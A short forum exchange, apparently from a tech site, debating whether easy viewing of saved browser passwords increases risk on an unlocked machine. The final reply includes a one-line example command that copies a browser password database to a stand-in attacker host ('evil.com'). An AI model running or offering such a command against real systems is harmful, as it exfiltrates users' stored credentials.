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Let me fix one line in your post: If someone with sufficient technical knowledge wants your passwords or other data and you hand them an unlocked machine they a
by czr80 13y ago
Let me fix one line in your post: If someone with sufficient technical knowledge wants your passwords or other data and you hand them an unlocked machine they are going to get them.
Now, reducing the technical knowledge required from "opening a shell and running apps" to "click here to see all passwords in seconds" greatly reduces the technical knowledge required and so greatly increases the risk you're exposed to.
- greggman 13y agoYou're right. But, I'm guessing the set of people who know they could see your password easily is pretty much the same set of people with sufficient technical knowledge that they either know how to do more or know how to find out how to do more. Open terminal type scp .somebrowser/password.db user@evil.com: Takes no more time than writing down passwords like nfie28447ncjf;$/$38342. Probably less if there's more than one password